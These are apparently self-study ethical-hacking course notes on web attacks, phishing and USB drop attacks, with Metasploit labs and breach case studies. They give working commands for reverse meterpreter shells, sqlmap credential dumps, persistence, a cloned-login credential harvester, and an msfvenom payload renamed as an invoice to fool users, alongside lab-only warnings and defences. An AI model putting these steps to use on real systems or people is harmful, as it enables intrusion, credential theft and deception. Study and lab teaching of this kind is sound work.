

ETHICAL HACKING NOTES

Web Attacks, Phishing & USB Attacks Made Easy

Simple English notes with real practical steps using Metasploit Framework and Metasploitable 2. Made for easy self-study.

SQL Injection

RCE

File Upload

XSS

Full Web Attack Chain

Phishing

SEToolkit

USB Drop Attack

△ For learning only. Use these steps only on your own lab (Kali Linux + Metasploitable 2), never on real systems without written permission.

Common Web Application Vulnerabilities

Easy meaning: A website has weak points (like a house with a broken lock). Hackers find these weak points to enter, steal data, or take control.

1. SQL Injection (SQLi)

Hacker types SQL code inside a login box or search box. If the website does not check the input properly, the hacker can see, change, or delete database data (like usernames and passwords).

PRACTICAL — Try in Metasploit + Metasploitable 2

Step 1: Open DVWA (running inside Metasploitable 2 or a lab VM) in the browser.

Step 2: In Kali terminal, open Metasploit and scan for SQLi:

```
msfconsole
use auxiliary/scanner/http/sql_injection
set RHOSTS <target-ip>
run
```

Step 3: In the login box, manually type:

```
' OR '1'='1
```

and see if it logs in without a real password.

Step 4: This shows the app is vulnerable to SQLi.

2. Remote Code Execution (RCE)

Hacker runs his own commands directly on the server. This happens when the website does not clean user input before using it in system commands.

PRACTICAL — PHP CGI RCE Module

Step 1: Start Metasploit:

```
msfconsole
```

Step 2: Select the module:

```
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS <metasploitable2-ip>
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
```

```
set LHOST <kali-ip>
run
```

Step 3: If it works, you get a meterpreter shell — full remote command access.

3. File Upload Vulnerability

Website allows uploading any file type (even .php shell files). Hacker uploads a dangerous file and then runs it to control the server.

PRACTICAL — Tomcat Manager Upload

Step 1:

```
msfconsole
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <metasploitable2-ip>
set RPORT 8180
set HttpUsername tomcat
set HttpPassword tomcat
run
```

Step 2: This module uploads a WAR file (like a package with malicious code) and gets a shell on the Tomcat server.

4. Cross-Site Scripting (XSS)

Hacker puts a small script inside a comment box or search box. When another user opens that page, the script runs in their browser and can steal their cookies/session.

PRACTICAL — Simple XSS test on DVWA

Step 1: Go to DVWA → XSS page.

Step 2: Type this in the input box:

```
<script>alert('Hacked')</script>
```

Step 3: If a pop-up box appears, the site is vulnerable to XSS.

Step 4 (advanced):

```
use exploit/unix/webapp/phpmyadmin_preg_replace
set RHOSTS <target-ip>
run
```

(this attacks an old phpMyAdmin bug, CVE-2009-1151)

Real Case Study — Capital One Breach (2019)

A bad setting in the firewall let an attacker use a trick called SSRF (Server-Side Request Forgery). This made the server send secret AWS login keys to the attacker. With those keys, the attacker read customer data stored in Amazon S3 storage.

Fact	Detail
People affected	100+ million (US) + 6 million (Canada)
Data stolen	Names, address, SSNs, bank account numbers
Cost	Over \$300 million
Attacker	Paige Thompson, ex-AWS employee

Lesson: One small mistake (firewall misconfig) + cloud access = huge breach. Always check cloud settings, not just website code.

Quick Recap

- SQLi = attack the database through input fields
- RCE = run commands on the server
- File Upload = upload dangerous file, then run it
- XSS = run script in victim's browser
- Always test manually + with Metasploit both

Full Web App Attack using Metasploit (Step by Step)

Easy meaning: This topic shows the whole attack from start (finding a weak point) to end (taking full control of the server), like a story with 4 chapters.

Lab Setup

Machine	Role	OS / Tool
Target	Vulnerable web app	DVWA or Mutillidae on Ubuntu + Apache
Attacker	Runs attacks	Kali Linux (Metasploit pre-installed)
Network	Isolated	Private / NAT lab network only

Step 1 — Find SQL Injection

PRACTICAL

```
msfconsole
use auxiliary/scanner/http/sql_injection
set RHOSTS <DVWA-ip>
run
```

Also check manually with Burp Suite to be sure it's a real weak point (not a false alarm).

Step 2 — Steal Passwords using SQLi

PRACTICAL

Test manually first, then automate:

```
sqlmap -u "http://<target-ip>/vuln.php?id=1" --dump
```

Goal: get the

```
users
```

table from the MySQL database (usernames + passwords).

Tip: Try these stolen passwords on SSH or admin login pages too — people reuse passwords!

Step 3 — Get Full Control (RCE)

PRACTICAL

```

use exploit/multi/http/php_cgi_arg_injection
set RHOSTS <target-ip>
set RPORT 80
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <kali-ip>
set LPORT 4444
exploit

```

This opens a meterpreter session — you are now "inside" the server.

Step 4 — Post-Exploitation (After Getting In)

PRACTICAL — Inside meterpreter

```

sysinfo
getuid
ps
ls
cat /etc/passwd
cat flag.txt

```

Optional:

```
run persistence -X -i 5 -p 4444 -r <kali-ip>
```

(keeps access even after reboot — lab only!)

Best Practices: Always double-check with Burp Suite / sqlmap / curl manually. Show how one small bug (SQLi) can lead to full server control. Learn how real attackers hide their tracks (Living-off-the-Land tactics), just to understand — not to use badly.

Real Case Study — Equifax Breach (2017)

Attackers used a bug in Apache Struts ([CVE-2017-5638](#)). They sent a specially made HTTP header. The server ran the hacker's code, giving shell access.

Fact	Detail
People affected	~147 million US citizens
Data stolen	SSNs, address, birthdates
Cost	Over \$700 million in fines/settlements
Metasploit module	<code>exploit/multi/http/struts_code_exec_classloader</code>

Lesson: Same 4 steps we practiced (find bug → RCE → shell → post-exploitation) = real world data breach pattern.

Quick Recap

1. Find SQLi weak point
2. Dump credentials from database
3. Use RCE to get a shell (meterpreter)
4. Explore the system, grab files, try persistence

Inside a Phishing Attack

Easy meaning: Phishing = fooling a person with a fake email or message so they give away their password or click a bad link. No technical hacking needed — just tricking the human.

How Phishing Works (4 Stages)

Stage	What Happens
1. Target selection	Hacker picks victim (HR, Finance, or Boss) and studies them on LinkedIn (this is called OSINT)
2. Email crafting	Fake email made to look real, with urgency like "Your account is hacked!"
3. Link/attachment delivery	Bad link or file sent; fake similar domain used (e.g. g00gle.com)
4. Credential capture	Victim types password on fake page; hacker steals it, then redirects to the real site

Types of Phishing

- **Spear phishing** — targeted at one specific person using personal info
- **Clone phishing** — copies a real email but changes the link
- **Whaling** — targets big bosses / executives
- **Vishing** — phishing done by phone call, not email

PRACTICAL — Safe Phishing Awareness Test (Lab Only)

Step 1: Never use real password-stealing links on real people. Only in a sandbox/test lab.

Step 2: Use SEToolkit (see Topic 4 below) to build a safe fake login page.

Step 3: Send the safe test link only to consenting test users.

Step 4: After the test, teach users what red flags they missed (spelling mistakes, wrong domain, urgency).

Real Case Study — Twitter Breach (July 2020)

Hackers called Twitter staff pretending to be "IT support" (this is Vishing = voice phishing). Staff gave away internal login details. Hackers then took over 130 famous accounts (Elon Musk, Obama, Bill Gates) and posted a Bitcoin scam.

Fact	Detail
Method	Voice phishing (no technical bug used)
Accounts taken	130+ high-profile accounts

Money stolen	\$100,000+ in Bitcoin, within hours
Result	Twitter testified before US Congress

Lesson: No malware, no code — just talking to the right person the wrong way. Human training is as important as technical security.

Quick Recap

- Phishing = human trick, not a code bug
- 4 stages: select target → craft email → deliver link → capture credentials
- Types: spear, clone, whaling, vishing
- Best defense: train people, test with safe simulations, use MFA + least privilege

Phishing Kit Setup — SEToolkit

Easy meaning: SEToolkit is a free tool in Kali Linux that makes a fake copy of any login page in a few clicks, so security teams can test if employees fall for it (only in safe, permitted labs).

What SEToolkit Can Do

- Clone (copy) a real website's login page
- Collect entered credentials safely for training
- Auto-deliver a payload through a fake web page
- Connect with Metasploit for further testing

PRACTICAL — Step-by-Step Credential Harvester (Lab Only)

Step 1: Open terminal in Kali Linux:

```
setoolkit
```

Step 2: Choose menu options:

```
1) Social-Engineering Attacks
2) Website Attack Vectors
3) Credential Harvester Attack Method
2) Site Cloner
```

Step 3: Enter the target page URL to copy (use only a test page, e.g. a mock HR login page).

Step 4: Enter your Kali machine IP address (example:

```
192.168.1.10
```

). SEToolkit starts a local web server hosting the fake page.

Step 5: Open the fake page link in a test browser and type a fake username/password to test it.

Step 6: Check the captured data:

```
cat /var/www/html/harvester_log.txt
```

Ethical Rules (MUST follow):

- Only test in your own authorized lab — never on real/live systems without written permission
- Only use fake/sandbox credentials, never real ones
- Always do a training session after any test

Quick Recap

1. Launch SEToolkit → Social Engineering → Website Attack → Credential Harvester → Site Cloner
2. Enter target URL + your IP

3. Share the safe test link, collect fake logins
4. Review harvester_log.txt and teach employees the mistakes to avoid

USB Drop Attacks — How They Work

Easy meaning: Hacker leaves a USB drive in a public place (parking lot, elevator). Someone picks it up out of curiosity and plugs it in — and that one action can hack their computer.

How Attackers Use USB Devices

- **Auto-run abuse** — payload runs automatically on old/unprotected systems
- **HID devices** (Rubber Ducky, O.MG Cable) — act like a keyboard and type hacking commands by themselves
- **Hidden malware** — ransomware, keyloggers, remote access tools

Tools Used

Tool	What it does
Rubber Ducky	Types commands super fast like a keyboard to open a shell
O.MG Cable	Looks like a normal charging cable, but steals data / sends commands over Wi-Fi
Bash Bunny	Multi-tool: acts as keyboard, storage, or network device

Real Case Study — Canberra Contractor (2016)

Attackers dropped USB drives outside a secure office. Employees plugged them in, malware entered the network, bypassing all the firewall/perimeter defenses.

Real Case Study — Google/University of Illinois Test

Researchers dropped USB drives around a campus. Nearly 45% of people who found them plugged the USB into their own device — proving curiosity is a big security risk.

How to Defend

- Turn off unused USB ports
- Only allow "whitelisted" (approved) USB devices
- Train staff: never plug in an unknown USB — treat it like candy from a stranger
- Use endpoint detection tools to catch bad behaviour

Quick Recap

- USB attacks target human curiosity, not just the computer
- Tools: Rubber Ducky, O.MG Cable, Bash Bunny
- Best defense: block ports, train staff, monitor USB activity

USB Drop Attack — Full Simulation with Metasploit

Easy meaning: This is the hands-on version of Topic 5 — how to actually build and test a USB attack safely in your own lab using Metasploit's MSFVenom tool.

5 Stages of a USB Drop Attack

1. Create malicious payload
2. Load payload onto USB
3. Set up Metasploit listener
4. Simulate the USB drop
5. Watch post-exploitation activity

PRACTICAL — Full Lab Walkthrough

Stage 1: Make the payload (MSFVenom)

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<kali-ip> LPORT=4444 -f exe -o update.exe
```

Rename the file to something believable, like

```
Invoice_2026.exe
```

, so people trust it.

Stage 2: Put it on the USB Copy the renamed file to a test USB drive. (Optional in real attacks: change its icon to look like a Word/PDF file — but only study this, don't misuse it.)

Stage 3: Start the listener

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <kali-ip>
set LPORT 4444
exploit
```

Stage 4: Simulate the drop Place the USB on your OWN test machine (never a real stranger's PC). Plug it in and run the file. Watch if antivirus catches it.

Stage 5: Post-exploitation (inside meterpreter)

```
sysinfo
keyscan_start
screenshot
download secretfile.txt
```

File-based vs HID-based Attacks

Type	How it works
File-based	A malicious .exe file must be opened by the user
HID-based	Device acts like a keyboard and types commands automatically — no click needed

Real Case Study — Stuxnet (2010)

The world's first "cyberweapon". Infected USB drives were left for contractors at Iran's Natanz nuclear facility. Once plugged in, the malware attacked the industrial control systems (PLCs) and physically damaged nuclear centrifuges by changing their speed.

Fact	Detail
Delivery method	USB drive (no internet needed — worked on offline/air-gapped systems)
Techniques	Zero-day exploits + rootkit (hiding) techniques
Result	Physical damage to equipment, delayed nuclear program

Lesson: Even systems with NO internet connection can be hacked through a simple USB drive.

Rule: All testing above must be done only on your own lab machines, never on someone else's PC or a real workplace, without official written permission.

Quick Recap

- 5 stages: payload → load on USB → listener → drop → post-exploitation
- Tools: MSFVenom (make payload), Metasploit handler (listener), meterpreter (control)
- Defense: disable ports, whitelist devices, train staff, monitor new HID devices